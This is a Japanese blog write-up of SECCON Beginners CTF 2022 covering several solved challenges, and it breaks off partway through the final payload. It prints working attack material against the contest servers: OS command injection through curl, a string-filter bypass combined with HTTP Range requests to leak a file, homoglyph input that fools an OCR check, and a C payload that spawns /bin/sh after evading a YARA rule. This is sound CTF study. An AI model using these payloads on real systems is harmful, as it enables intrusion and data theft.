プログラム系統備忘録ブログ

記事中のコードは自己責任の下でご自由にどうぞ。

SECCON Beginners CTF 2022 write-up

SECCON Beginners CTF 2022に、一人チームrotationで参加しました。そのwrite-up記事です。

コンテスト概要

2022/06/04(土) 14:00 +09:00 - 2022/06/05(日) 14:00:00 +09:00 の開催期間でした。他ルールはRulesページから引用します:

SECCON Beginners CTF 2022
SECCON Beginners CTF 2022 を開催いたします!本イベントは主に日本の CTF 初心者~中級者を対象とした CTF であり、今回は 2018 年の初開催から数えて 5 回目の開催となります。
以下の要項をご確認いただいた上で、ぜひご参加ください。

競技形式
    Jeopardy 形式
開催日程
    2022/6/4 (土) 14:00 JST から 2022/6/5 (日) 14:00 JST まで
開催時間
    24 時間
参加資格
    国籍、年齢、性別は問いません。どなたでもご参加いただけます。
競技ルール
    得点はチーム毎に集計します。集計にはダイナミックスコアリング方式(多くのチームが解いた問題ほど点数が低くなるような方式)を用います。
    原則競技中には問題の追加を行いません。問題の設定ミスなどが発覚した場合には、例外的に修正版の問題が公開される場合があります。
    フラグのフォーマットは ctf4b{[\x20-\x7e]+} です。これと異なる形式を取る問題に関しては、別途問題文等でその旨を明示します。
    誤った解答を短時間の内に何度も送信した場合は、当該チームからの回答を一定時間受け付けない状態(ロック状態)になる場合があります。またこの状態でさらに不正解を送信し続けた場合はロックされる時間がさらに延長される可能性があります。
問題難易度について
    本 CTF は日本の CTF 初心者~中級者を対象としたものです。そのため、近年の一般的な CTF ではほぼ見かけない初心者向けの簡単な問題も一定数出題される予定です。これを機に CTF を始めたいという方や、最近 CTF を始めた方は、ぜひそれらの問題をお楽しみください。
    それと同時に、上級者でも楽しめる、少しだけ難易度が高めの問題の出題も予定しています。何度か CTF に参加したことがある方は、ぜひそれらの問題を腕試しとしてご活用いただければと思います。
    また、より競技に取りかかりやすくなるように、各問題で「Beginner」「Easy」「Medium」「Hard」といった難易度を示す情報を表示しております。
    なお、本 CTF の問題数や難易度は複数人からなるチームでご参加いただくことを想定して設定されております。 1 ~ 2 人チームで参加される場合は、競技時間内に着手・正答できる問題数が限られることが予想されますので、ぜひお誘い合わせの上ご参加ください。
競技中のコミュニケーション
    競技中の競技に関するアナウンスは、以下の招待リンクから参加できる Discord サーバにて行います。
    https://discord.gg/6sKxFmaUyS
    また、競技中に運営に問い合わせたいことがある場合にも、こちらの Discord サーバを利用して下さい。
(中略)
Twitter
    @ctf4b

結果

正の得点を得ている891チーム中、1721ptで28位でした。

最終の順位と得点
グレー: 解けた問題

環境

Windows(Windows Sandboxを含む)とWSL2(Ubuntu 22.04)を主に使って取り組みました。

Windows

c:\>ver

Microsoft Windows [Version 10.0.19044.1741]

c:\>wsl -l -v
  NAME            STATE           VERSION
* Ubuntu          Stopped         2
  kali-linux      Stopped         2
  Ubuntu-22.04    Running         2

c:\>

他ソフト

  • IDA Free Version 7.7.220118 Windows x64 (64-bit address size)
  • Wireshark Version 3.6.5 (v3.6.5-0-g21f79ddbefbd)

WSL2(Ubuntu 22.04)

$ cat /proc/version
Linux version 5.10.102.1-microsoft-standard-WSL2 (oe-user@oe-host) (x86_64-msft-linux-gcc (GCC) 9.3.0, GNU ld (GNU Binutils) 2.34.0.20200220) #1 SMP Wed Mar 2 00:30:59 UTC 2022
$ cat /etc/os-release
PRETTY_NAME="Ubuntu 22.04 LTS"
NAME="Ubuntu"
VERSION_ID="22.04"
VERSION="22.04 LTS (Jammy Jellyfish)"
VERSION_CODENAME=jammy
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=jammy
$ python3 --version
Python 3.10.4
$ python3 -m pip show pip | grep Version
Version: 22.0.2
$ python3 -m pip show IPython | grep Version
Version: 7.31.1
$ python3 -m pip show requests | grep Version
Version: 2.25.1
$ python3 -m pip show pycryptodome | grep Version
Version: 3.14.1
$ python3 -m pip show pwntools | grep Version
Version: 4.8.0
$ gdb --version | head -2
GNU gdb (Ubuntu 12.0.90-0ubuntu1) 12.0.90
Copyright (C) 2022 Free Software Foundation, Inc.
$ cat ~/peda/README | grep -e 'Version: ' -e 'Release: '
Version: 1.0
Release: special public release, Black Hat USA 2012
$ curl --version
curl 7.81.0 (x86_64-pc-linux-gnu) libcurl/7.81.0 OpenSSL/3.0.2 zlib/1.2.11 brotli/1.0.9 zstd/1.4.8 libidn2/2.3.2 libpsl/0.21.0 (+libidn2/2.3.2) libssh/0.9.6/openssl/zlib nghttp2/1.43.0 librtmp/2.3 OpenLDAP/2.5.11
Release-Date: 2022-01-05
Protocols: dict file ftp ftps gopher gophers http https imap imaps ldap ldaps mqtt pop3 pop3s rtmp rtsp scp sftp smb smbs smtp smtps telnet tftp
Features: alt-svc AsynchDNS brotli GSS-API HSTS HTTP2 HTTPS-proxy IDN IPv6 Kerberos Largefile libz NTLM NTLM_WB PSL SPNEGO SSL TLS-SRP UnixSockets zstd
$

解けた問題

[welcome] Welcome (845 team solved, 50 pt)

Welcome to SECCON Beginners CTF 2022!

フラグはDiscordサーバのannouncementsチャンネルにて公開されています。

https://discord.gg/6sKxFmaUyS

Discordを見に行くと、以下の書き込みがありました:

Tsubasa — Today at 2:00 PM
@everyone 📣 SECCON Beginners CTF 2022 開始 📣
SECCON Beginners CTF 2022 を開始します。
https://score.beginners.azure.noc.seccon.jp/
(注: 競技開始後、スコアサーバにアクセスする際はページのリロードをお願いいたします。)

問題 「Welcome」のフラグは ctf4b{W3LC0M3_70_53CC0N_B361NN3R5_C7F_2022} です。

フラグを入手できました: ctf4b{W3LC0M3_70_53CC0N_B361NN3R5_C7F_2022}

[Web, beginner] Util (460 team solved, 54 pt)

ctf4b networks社のネットワーク製品にはとっても便利な機能があるみたいです! でも便利すぎて不安かも...?

(注意) SECCON Beginners運営が管理しているサーバー以外への攻撃を防ぐために外部への接続が制限されています。

https://util.quals.beginners.seccon.jp

util.tar.gz 95a1abb627b8b2342fae9f10680d599730604a1e

とりあえずページへアクセスして触りました。IPアドレスの入力フォームがあり、指定IPアドレスへPINGを実行して結果を表示してくれる内容のようです。問題文の通り、8.8.8.8等の外部とは疎通不能でした。

配布ファイルを見ていると、main.goに以下のコードがありました(抜粋):

r.POST("/util/ping", func(c *gin.Context) {
    var param IP
    if err := c.Bind(&param); err != nil {
        c.JSON(400, gin.H{"message": "Invalid parameter"})
        return
    }

    commnd := "ping -c 1 -W 1 " + param.Address + " 1>&2"
    result, _ := exec.Command("sh", "-c", commnd).CombinedOutput()

    c.JSON(200, gin.H{
        "result": string(result),
    })
})

commandの構築に単なる文字列結合を行っていてエスケープを行っていないので、OSコマンドインジェクションができそうです。Content-Type内容が全部小文字でないとうまくいかないらしいことに悩みつつ、試行錯誤しました:

$ curl https://util.quals.beginners.seccon.jp/util/ping -H "Content-Type: Application/json" -d '{"Address": "127.0.0.1; ls /"}'
{"result":"BusyBox v1.33.1 () multi-call binary.\n\nUsage: ping [OPTIONS] HOST\n\nSend ICMP ECHO_REQUESTs to HOST\n\n\t-4,-6\t\tForce IP or IPv6 name resolution\n\t-c CNT\t\tSend only CNT pings\n\t-s SIZE\t\tSend SIZE data bytes in packets (default 56)\n\t-i SECS\t\tInterval\n\t-A\t\tPing as soon as reply is recevied\n\t-t TTL\t\tSet TTL\n\t-I IFACE/IP\tSource interface or IP address\n\t-W SEC\t\tSeconds to wait for the first response (default 10)\n\t\t\t(after all -c CNT packets are sent)\n\t-w SEC\t\tSeconds until ping exits (default:infinite)\n\t\t\t(can exit earlier with -c CNT)\n\t-q\t\tQuiet, only display output at start/finish\n\t-p HEXBYTE\tPayload pattern\n"}
$ curl https://util.quals.beginners.seccon.jp/util/ping -H "Content-Type: application/json" -d '{"Address": "127.0.0.1; ls / "}'
{"result":"PING 127.0.0.1 (127.0.0.1): 56 data bytes\n64 bytes from 127.0.0.1: seq=0 ttl=42 time=0.131 ms\n\n--- 127.0.0.1 ping statistics ---\n1 packets transmitted, 1 packets received, 0% packet loss\nround-trip min/avg/max = 0.131/0.131/0.131 ms\napp\nbin\ndev\netc\nflag_A74FIBkN9sELAjOc.txt\nhome\nlib\nmedia\nmnt\nopt\nproc\nroot\nrun\nsbin\nsrv\nsys\ntmp\nusr\nvar\n"}
$ curl https://util.quals.beginners.seccon.jp/util/ping -H "Content-Type: application/json" -d '{"Address": "127.0.0.1; cat /flag_A74FIBkN9sELAjOc.txt "}'
{"result":"PING 127.0.0.1 (127.0.0.1): 56 data bytes\n64 bytes from 127.0.0.1: seq=0 ttl=42 time=0.117 ms\n\n--- 127.0.0.1 ping statistics ---\n1 packets transmitted, 1 packets received, 0% packet loss\nround-trip min/avg/max = 0.117/0.117/0.117 ms\nctf4b{al1_0vers_4re_i1l}\n"}

フラグを入手できました: ctf4b{al1_0vers_4re_i1l}

絵文字のギャラリーを作ったよ! え?ギャラリーの中に flag という文字列を見かけた?

仮にそうだとしても、サイズ制限があるから flag は漏洩しないはず...だよね?

https://gallery.quals.beginners.seccon.jp

gallery.tar.gz a1179b888f1026f9319c859d6711a3300886f610

とりあえずページへアクセスして触りました。https://gallery.quals.beginners.seccon.jp/?file_extension=gif等、拡張子によるフィルタリングを行ったファイル一覧を表示してくれるサイトのようです。配布ファイルを見ると、backend/handlers.goで以下のフィルタリング処理がありました:

fileExtension := strings.ReplaceAll(r.URL.Query().Get("file_extension"), ".", "")
fileExtension = strings.ReplaceAll(fileExtension, "flag", "")
if fileExtension == "" {
    fileExtension = "jpeg"
}

replaceを1回だけしているので、flflagagとネストした文字列を指定してみると、フラグファイル内容が存在することがわかりました:

意気揚々とフラグファイルにアクセスしましたが、ひたすら「?」文字で埋め尽くされたレスポンスが返りました。問題文にある通りサイズ制限がありそうです。よく見るとbackend/main.goで以下の記述がありました:

h.ServeHTTP(&MyResponseWriter{
    ResponseWriter: rw,
    lengthLimit:    10240, // SUPER SECURE THRESHOLD
}, r)

以前のなにかのCTFで、レスポンスの一部分だけを返すように要求するHTTPリクエストヘッダーを使った問題があったはず、と思い出してググってみると、HTTP range requests - HTTP | MDNを見つけました。これらを利用して以下のソルバーを書きました:

#!/usr/bin/env python3

import requests
import time

data = b""
with requests.Session() as session:
    for i in range(256):
        headers = {"Range": f"bytes={i*8192}-{(i+1)*8192-1}"}
        print(headers)
        r = session.get("https://gallery.quals.beginners.seccon.jp/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf", headers=headers)
        print(r.headers)
        data += r.content
        if len(data) >= 16085:  # レスポンスの「Content-Range: bytes 0-50/16085」から判断
            break
        time.sleep(1)

with open("flag.pdf", "wb") as f:
    f.write(data)

実行して得られたPDFファイル中にフラグが書かれていました: ctf4b{r4nge_reque5t_1s_u5efu1!}

[misc, easy] phisher (238 team solved, 70 pt)

ホモグラフ攻撃を体験してみましょう。
心配しないで!相手は人間ではありません。

nc phisher.quals.beginners.seccon.jp 44322
phisher.tar.gz bc81b6186868cb1d932a12bd5a3612010b52cb8d

配布ファイルの中に、以下のphisher.pyがありました:

import os
import pyocr
import random
import string
import cv2 as cv
import numpy as np
from PIL import ImageFont, ImageDraw, Image


flag = os.getenv("CTF4B_FLAG")

fqdn = "www.example.com"

# TEXT to PNG
def text2png(text:str) -> str:
    os.makedirs("phish", exist_ok=True)
    filename = "".join([random.choice(string.ascii_letters) for i in range(15)])
    png = f"phish/{filename}.png"
    img = np.full((100, 600, 3), 0, dtype=np.uint8)
    font = ImageFont.truetype("font/Murecho-Black.ttf", 64)
    img_pil = Image.fromarray(img)
    ImageDraw.Draw(img_pil).text((10, 0), text[:15], font=font, fill=(255, 255, 255)) # text[:15] :)
    img = np.array(img_pil)
    cv.imwrite(png, img)
    return png

# PNG to TEXT (OCR-English)
def ocr(image:str) -> str:
    tool = pyocr.get_available_tools()[0]
    text = tool.image_to_string(Image.open(image), lang="eng")
    os.remove(image)
    if not text:
        text = "???????????????"
    return text

# Can you deceive the OCR?
# Give me "www.example.com" without using "www.example.com" !!!
def phishing() -> None:
    input_fqdn = input("FQDN: ")[:15]
    ocr_fqdn = ocr(text2png(input_fqdn))
    if ocr_fqdn == fqdn: # [OCR] OK !!!
        for c in input_fqdn:
            if c in fqdn:
                global flag
                flag = f"\"{c}\" is included in \"www.example.com\" ;("
                break
        print(flag)
    else: # [OCR] NG
        print(f"\"{ocr_fqdn}\" is not \"www.example.com\" !!!!")

if __name__ == "__main__":
    print("""       _     _     _                  ____    __
 _ __ | |__ (_)___| |__   ___ _ __   / /\ \  / /
| '_ \| '_ \| / __| '_ \ / _ \ '__| / /  \ \/ /
| |_) | | | | \__ \ | | |  __/ |    \ \  / /\ \\
| .__/|_| |_|_|___/_| |_|\___|_|     \_\/_/  \_\\
|_|
""")
    phishing()

英語の文字集合のみでテキスト化するOCRを経由して、www.example.comを、それら自身の文字は一切使わずに構築しという内容です。ギリシャ文字やキリル文字にはアルファベットとほぼ同じ字形の別文字があったはずと思い、以下のサイトを見ながら構築しました:

同一文字を文字を15個入れるだけでは全く認識してくれず???????????????扱いになることが多々あったので、www.example.comを先頭から変えていってエラーメッセージを見ながら試していきました。最終的なペイロードはᴡᴡᴡ․ежамрӀе․сомになりました:

$ nc -q 0 phisher.quals.beginners.seccon.jp 44322
       _     _     _                  ____    __
 _ __ | |__ (_)___| |__   ___ _ __   / /\ \  / /
| '_ \| '_ \| / __| '_ \ / _ \ '__| / /  \ \/ /
| |_) | | | | \__ \ | | |  __/ |    \ \  / /\ \
| .__/|_| |_|_|___/_| |_|\___|_|     \_\/_/  \_\
|_|

FQDN: ᴡᴡᴡ․ежамрӀе․сом
ctf4b{n16h7_ph15h1n6_15_600d}

$

フラグを入手できました: ctf4b{n16h7_ph15h1n6_15_600d}

[misc, easy] H2 (248 team solved, 69 pt)

バージョン2です。

h2.tar.gz 5880295ecec74f5ee5f2d56b0e22eee7d9940e66

配布ファイルとして、capture.pcapと、以下のmain.goがありました:

package main

import (
  "net/http"
  "log"
  "fmt"
  "golang.org/x/net/http2"
  "golang.org/x/net/http2/h2c"
)

const SECRET_PATH = "<secret>"

func main() {
  handler := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
    if r.URL.Path == SECRET_PATH {
      w.Header().Set("x-flag", "<secret>")
    }
    w.WriteHeader(200)
    fmt.Fprintf(w, "Can you find the flag?\n")
  })

  h2s := &http2.Server{}
  h1s := &http.Server{
    Addr:    ":8080",
    Handler: h2c.NewHandler(handler, h2s),
  }

  log.Fatal(h1s.ListenAndServe())
}

x-flagヘッダーを含むHTTP2レスポンスを見つける問題のようです。ただpcapファイルが96,974,057バイトと結構な大きさで、フィルタリング等を反映させようにも10秒程度かかるので大変でした。http2.headers contains "x-flag"で一発で見つからないか試しましたが、残念ながら結果は0件でした。仕方がないのでhttp2.headersでフィルタリングしつつInfo列でソートして、レスポンス箇所周辺をカーソルキー押しっぱなしで眺めていると、739024番目のパケットにフラグが含まれていました:

フラグを入手できました: ctf4b{http2_uses_HPACK_and_huffm4n_c0ding}

[misc, easy] ultra_super_miracle_validator (40 team solved, 150 pt)

C言語のソースコードをコンパイルして実行してくれるサービスを作りました!

危険なコードは実行させたくないので,天才的で複雑な充足可能性問題を用いたルールに基づいて弾いています!

nc ultra-super-miracle-validator.quals.beginners.seccon.jp 5000
ultra_super_miracle_validator.tar.gz 5bef397297b20c840031b87d4864ac4a8ef98da9

配布ファイルとして、以下のmain.pyrule.yaraがありました:

#!/usr/bin/env python3
import yara
import hashlib
import os
import subprocess

rule = yara.compile(filepath='./rule.yara')

print('source:')
src = input()
digest = hashlib.sha256(src.encode()).hexdigest()
binfile = f'/tmp/{digest}'
sourcefile = f'/tmp/{digest}.c'
devnull = open('/dev/null')

with open(sourcefile, mode='w') as f:
    f.write(src)

com = subprocess.run(['clang', '-static', '-o', binfile, sourcefile], cwd='/tmp', capture_output=True)

if com.returncode != 0:
    os.remove(sourcefile)
    print('Compile Error')
    exit(1)

try:
    matches = rule.match(binfile, timeout=1)

    if len(matches) > 0:
        os.remove(sourcefile)
        os.remove(binfile)
        print('Malicious binary detected!!!')
        print('Please not exploit me...')
    else:
        os.remove(sourcefile)
        print('Not matched. Have Fun!')
        subprocess.run([f'/tmp/{digest}'])
        os.remove(binfile)

except:
    os.remove(sourcefile)
    os.remove(binfile)
rule MalElf {
    meta:
        description = "Malicious ELF binary"

    strings:
        $x1 = {e3 82 89 e3 81 9b e3 82 93 e9 9a 8e e6 ae b5}
        $x2 = {e3 82 ab e3 83 96 e3 83 88 e8 99 ab}
        $x3 = {e5 bb 83 e5 a2 9f e3 81 ae e8 a1 97}
        $x4 = {e3 82 a4 e3 83 81 e3 82 b8 e3 82 af e3 81 ae e3 82 bf e3 83 ab e3 83 88}
        $x5 = {e3 83 89 e3 83 ad e3 83 ad e3 83 bc e3 82 b5 e3 81 b8 e3 81 ae e9 81 93}
        $x6 = {e7 89 b9 e7 95 b0 e7 82 b9}
        $x7 = {e3 82 b8 e3 83 a7 e3 83 83 e3 83 88}
        $x8 = {e5 a4 a9 e4 bd bf}
        $x9 = {e7 b4 ab e9 99 bd e8 8a b1}
        $x10 = {e7 a7 98 e5 af 86 e3 81 ae e7 9a 87 e5 b8 9d}
        $x11 = {82 e7 82 b9 82 f1 8a 4b 92 69}
        $x12 = {83 4a 83 75 83 67 92 8e}
        $x13 = {94 70 9a d0 82 cc 8a 58}
        $x14 = {83 43 83 60 83 57 83 4e 82 cc 83 5e 83 8b 83 67}
        $x15 = {83 68 83 8d 83 8d 81 5b 83 54 82 d6 82 cc 93 b9}
        $x16 = {93 c1 88 d9 93 5f}
        $x17 = {83 57 83 87 83 62 83 67}
        $x18 = {93 56 8e 67}
        $x19 = {8e 87 97 7a 89 d4}
        $x20 = {94 e9 96 a7 82 cc 8d 63 92 e9}
        $x21 = {30 89 30 5b 30 93 96 8e 6b b5}
        $x22 = {30 4b 30 76}
        $x23 = {5e c3 58 9f 30 6e 88 57}
        $x24 = {30 a4 30 c1 30 b8 30 af 30 6e 30 bf 30 eb 30 c8}
        $x25 = {30 c9 30 ed 30 ed 30 fc 30 b5 30 78 30 6e 90 53}
        $x26 = {72 79 75 70 70 b9}
        $x27 = {30 b8 30 e7 30 c3 30 c8}
        $x28 = {59 29 4f 7f}
        $x29 = {7d 2b 96 7d 82 b1}
        $x30 = {79 d8 5b c6 30 6e 76 87 5e 1d}
        $x31 = {2b 4d 49 6b 2d 2b 4d 46 73 2d 2b 4d 4a 4d 2d 2b 6c 6f 34 2d}
        $x32 = {2b 4d 45 73 2d 2b 4d 48}
        $x33 = {2b 58 73 4d 2d 2b 57 4a 38 2d 2b 4d 47 34 2d 2b}
        $x34 = {2b 4d 4b 51 2d 2b 4d 4d 45 2d 2b 4d 4c 67 2d 2b 4d 4b 38 2d 2b 4d 47 34 2d 2b 4d 4c 38 2d 2b 4d}
        $x35 = {2b 4d 4d 6b 2d 2b 4d 4f 30 2d 2b 4d 4f 30 2d 2b 4d 50 77 2d 2b 4d 4c 55 2d 2b 4d 48 67 2d 2b 4d}
        $x36 = {2b 63 6e 6b 2d 2b 64 58 41 2d 2b 63}
        $x37 = {2b 4d 4c 67 2d 2b 4d 4f 63 2d 2b 4d 4d 4d 2d 2b}
        $x38 = {2b 57 53 6b 2d 2b 54 33}
        $x39 = {2b 66 53 73 2d 2b 6c 6e 30 2d 2b 67}
        $x40 = {2b 65 64 67 2d 2b 57 38 59 2d 2b 4d 47 34 2d 2b 64 6f 63 2d}


    condition:
        not (($x1 or $x6 or $x12 or not $x21 or $x32) and ($x3 or $x5 or not $x11 or $x24 or $x35) and (not $x3 or $x31 or $x40 or $x9 or $x27) and ($x4 or $x8 or $x10 or $x29 or $x40) and ($x4 or $x7 or $x11 or $x25 or not $x36) and ($x8 or $x14 or $x18 or $x21 or $x38) and ($x12 or $x15 or not $x20 or $x30 or $x35) and ($x19 or $x21 or not $x32 or $x33 or $x39) and ($x2 or $x37 or $x19 or not $x23) and (not $x5 or $x14 or $x23 or $x30) and (not $x5 or $x8 or $x18 or $x23) and ($x33 or $x22 or $x4 or $x38) and ($x2 or $x20 or $x39) and ($x3 or $x15 or not $x30) and ($x6 or not $x17 or $x30) and ($x8 or $x29 or not $x21) and (not $x16 or $x1 or $x29) and ($x20 or $x10 or not $x5) and (not $x13 or $x25) and ($x21 or $x28 or $x30) and not $x2 and $x3 and not $x7 and not $x10 and not $x11 and $x14 and not $x15 and not $x22 and $x26 and not $x27 and $x34 and $x36 and $x37 and not $x40)
}

main.py側は、1行のC言語ソースコードをclangでコンパイルしてyara検索にかけ、ヒットしなければ実行してくれるものです。YARAルール側は複雑な条件ですが、連言標準形と呼ばれている形式に見えます。ルールをよく読むと、and not $x2 andなどの単一notが存在するため$x2は含めてはならないなどと分かります。同様に単一notが存在する項は含めず、そうでない項は含める方針としました。含める内容は文字列として突っ込み、動作としてはsystem関数でシェルを取得する方針にしました。なお、C言語では関数宣言がなくても引数や戻り値をintと仮定する警告で済むので#includeは不要です。この内容でソースコードを生成しました:

#!/usr/bin/env python3

rule = """
        $x1 = {e3 82 89 e3 81 9b e3 82 93 e9 9a 8e e6 ae b5}
//        $x2 = {e3 82 ab e3 83 96 e3 83 88 e8 99 ab}
        $x3 = {e5 bb 83 e5 a2 9f e3 81 ae e8 a1 97}
        $x4 = {e3 82 a4 e3 83 81 e3 82 b8 e3 82 af e3 81 ae e3 82 bf e3 83 ab e3 83 88}
        $x5 = {e3 83 89 e3 83 ad e3 83 ad e3 83 bc e3 82 b5 e3 81 b8 e3 81 ae e9 81 93}
        $x6 = {e7 89 b9 e7 95 b0 e7 82 b9}
//        $x7 = {e3 82 b8 e3 83 a7 e3 83 83 e3 83 88}
        $x8 = {e5 a4 a9 e4 bd bf}
        $x9 = {e7 b4 ab e9 99 bd e8 8a b1}
//        $x10 = {e7 a7 98 e5 af 86 e3 81 ae e7 9a 87 e5 b8 9d}
//        $x11 = {82 e7 82 b9 82 f1 8a 4b 92 69}
        $x12 = {83 4a 83 75 83 67 92 8e}
        $x13 = {94 70 9a d0 82 cc 8a 58}
        $x14 = {83 43 83 60 83 57 83 4e 82 cc 83 5e 83 8b 83 67}
//        $x15 = {83 68 83 8d 83 8d 81 5b 83 54 82 d6 82 cc 93 b9}
        $x16 = {93 c1 88 d9 93 5f}
        $x17 = {83 57 83 87 83 62 83 67}
        $x18 = {93 56 8e 67}
        $x19 = {8e 87 97 7a 89 d4}
        $x20 = {94 e9 96 a7 82 cc 8d 63 92 e9}
        $x21 = {30 89 30 5b 30 93 96 8e 6b b5}
//        $x22 = {30 4b 30 76}
        $x23 = {5e c3 58 9f 30 6e 88 57}
        $x24 = {30 a4 30 c1 30 b8 30 af 30 6e 30 bf 30 eb 30 c8}
        $x25 = {30 c9 30 ed 30 ed 30 fc 30 b5 30 78 30 6e 90 53}
        $x26 = {72 79 75 70 70 b9}
//        $x27 = {30 b8 30 e7 30 c3 30 c8}
        $x28 = {59 29 4f 7f}
        $x29 = {7d 2b 96 7d 82 b1}
        $x30 = {79 d8 5b c6 30 6e 76 87 5e 1d}
        $x31 = {2b 4d 49 6b 2d 2b 4d 46 73 2d 2b 4d 4a 4d 2d 2b 6c 6f 34 2d}
        $x32 = {2b 4d 45 73 2d 2b 4d 48}
        $x33 = {2b 58 73 4d 2d 2b 57 4a 38 2d 2b 4d 47 34 2d 2b}
        $x34 = {2b 4d 4b 51 2d 2b 4d 4d 45 2d 2b 4d 4c 67 2d 2b 4d 4b 38 2d 2b 4d 47 34 2d 2b 4d 4c 38 2d 2b 4d}
        $x35 = {2b 4d 4d 6b 2d 2b 4d 4f 30 2d 2b 4d 4f 30 2d 2b 4d 50 77 2d 2b 4d 4c 55 2d 2b 4d 48 67 2d 2b 4d}
        $x36 = {2b 63 6e 6b 2d 2b 64 58 41 2d 2b 63}
        $x37 = {2b 4d 4c 67 2d 2b 4d 4f 63 2d 2b 4d 4d 4d 2d 2b}
        $x38 = {2b 57 53 6b 2d 2b 54 33}
        $x39 = {2b 66 53 73 2d 2b 6c 6e 30 2d 2b 67}
//        $x40 = {2b 65 64 67 2d 2b 57 38 59 2d 2b 4d 47 34 2d 2b 64 6f 63 2d}
"""

hex_list = []
for line in rule.strip().split("\n"):
    if "//" in line:
        continue
    begin = line.index("{") + 1
    end = line.index("}")
    hex_list.append("".join(map(lambda s: "\\x" + s, line[begin:end].split(" "))))

print('int main(){system("/bin/sh"); puts("' + "".join(hex_list) + '"); return 0;}')

出力内容をnc経由で与えました(パイプだとうまくいきませんでした):

$ ./solve.py
int main(){system("/bin/sh"); puts("\xe3\x82\x89\xe3\x81\x9b\xe3\x82\x93\xe9\x9a\x8e\xe6\xae\xb5\xe5\xbb\x83\xe5\xa2\x9f\xe3\x81\xae\xe8\xa1\x97\xe3\x82\xa4\xe3\x83\x81\xe3\x82\xb8\xe3\x82\xaf\xe3\x81\xae\xe3\x82\xbf\xe3\x83\xab\xe3\x83\x88\xe3\x83\x89\xe3\x83\xad\xe3\x83\xad\xe3\x83\xbc\xe3\x82\xb5\xe3\x81\xb8\xe3\x81\xae\xe9\x81\x93\xe7\x89\xb9\xe7\x95\xb0\xe7\x82\xb9\xe5\xa4\xa9\xe4\xbd\xbf\xe7\xb4\xab\xe9\x99\xbd\xe8\x8a\xb1\x83\x4a\x83\x75\x83\x67\x92\x8e\x94\x70\x9a\xd0\x82\xcc\x8a\x58\x83\x43\x83\x60\x83\x57\x83\x4e\x82\xcc\x83\x5e\x83\x8b\x83\x67\x93\xc1\x88\xd9\x93\x5f\x83\x57\x83\x87\x83\x62\x83\x67\x93\x56\x8e\x67\x8e\x87\x97\x7a\x89\xd4\x94\xe9\x96\xa7\x82\xcc\x8d\x63\x92\xe9\x30\x89\x30\x5b\x30\x93\x96\x8e\x6b\xb5\x5e\xc3\x58\x9f\x30\x6e\x88\x57\x30\xa4\x30\xc1\x30\xb8\x30\xaf\x30\x6e\x30\xbf\x30\xeb\x30\xc8\x30\xc9\x30\xed\x30\xed\x30\xfc\x30\xb5\x30\x78\x30\x6e\x90\x53\x72\x79\x75\x70\x70\xb9\x59\x29\x4f\x7f\x7d\x2b\x96\x7d\x82\xb1\x79\xd8\x5b\xc6\x30\x6e\x76\x87\x5e\x1d\x2b\x4d\x49\x6b\x2d\x2b\x4d\x46\x73\x2d\x2b\x4d\x4a\x4d\x2d\x2b\x6c\x6f\x34\x2d\x2b\x4d\x45\x73\x2d\x2b\x4d\x48\x2b\x58\x73\x4d\x2d\x2b\x57\x4a\x38\x2d\x2b\x4d\x47\x34\x2d\x2b\x2b\x4d\x4b\x51\x2d\x2b\x4d\x4d\x45\x2d\x2b\x4d\x4c\x67\x2d\x2b\x4d\x4b\x38\x2d\x2b\x4d\x47\x34\x2d\x2b\x4d\x4c\x38\x2d\x2b\x4d\x2b\x4d\x4d\x6b\x2d\x2b\x4d\x4f\x30\x2d\x2b\x4d\x4f\x30\x2d\x2b\x4d\x50\x77\x2d\x2b\x4d\x4c\x55\x2d\x2b\x4d\x48\x67\x2d\x2b\x4d\x2b\x63\x6e\x6b\x2d\x2b\x64\x58\x41\x2d\x2b\x63\x2b\x4d\x4c\x67\x2d\x2b\x4d\x4f\x63\x2d\x2b\x4d\x4d\x4d\x2d\x2b\x2b\x57\x53\x6b\x2d\x2b\x54\x33\x2b\x66\x53\x73\x2d\x2b\x6c\x6e\x30\x2d\x2b\x67"); return 0;}
$ nc -q 0 ultra-super-miracle-validator.quals.beginners.seccon.jp 5000
source:
int main(){system("/bin/sh"); puts("\xe3\x82\x89\xe3\x81\x9b\xe3\x82\x93\xe9\x9a\x8e\xe6\xae\xb5\xe5\xbb\x83\xe5\xa2\x9f\xe3\x81\xae\xe8\xa1\x97\xe3\x82\xa4\xe3\x83\x81\xe3\x82\xb8\xe3\x82\xaf\xe3\x81\xae\xe3\x82\xbf\xe3\x83\xab\xe3\x83\x88\xe3\x83\x89\xe3\x83\xad\xe3\x83\xad\xe3\x83\xbc\xe3\x82\xb5\xe3\x81\xb8\xe3\x81\xae\xe9\x81\x93\xe7\x89\xb9\xe7\x95\xb0\xe7\x82\xb9\xe5\xa4\xa9\xe4\xbd\xbf\xe7\xb4\xab\xe9\x99\xbd\xe8\x8a\xb1\x83\x4a\x83\x75\x83\x67\x92\x8e\x94\x70\x9a\xd0\x82\xcc\x8a\x58\x83\x43\x83\x60\x83\x57\x83\x4e\x82\xcc\x83\x5e\x83\x8b\x83\x67\x93\xc1\x88\xd9\x93\x5f\x83\x57\x83\x87\x83\x62\x83\x67\x93\x56\x8e\x67\x8e\x87\x97\x7a\x89\xd4\x94\xe9\x96\xa7\x82\xcc\x8d\x63\x92\xe9\x30\x89\x30\x5b\x30\x93\x96\x8e\x6b\xb5\x5e\xc3\x58\x9f\x30\x6e\x88\x57\x30\xa4\x30\xc1\x30\xb8\x30\xaf\x30\x6e\x30\xbf\x30\xeb\x30\xc8\x30\xc9\x30\xed\x30\xed\x30\xfc\x30\xb5\x30\x78\x30\x6e\x90\x53\x72\x79\x75\x70\x70\xb9\x59\x29\x4f\x7f\x7d\x2b\x96\x7d\x82\xb1\x79\xd8\x5b\xc6\x30\x6e\x76\x87\x5e\x1d\x2b\x4d\x49\x6b\x2d\x2b\x4d\x46\x73\x2d\x2b\x4d\x4a\x4d\x2d\x2b\x6c\x6f\x34\x2d\x2b\x4d\x45\x73\x2d\x2b\x4d\x48\x2b\x58\x73\x4d\x2d\x2b\x57\x4a\x38\x2d\x2b\x4d\x47\x34\x2d\x2b\x2b\x4d\x4b\x51\x2d\x2b\x4d\x4d\x45\x2d\x2b\x4d\x4c\x67\x2d\x2b\x4d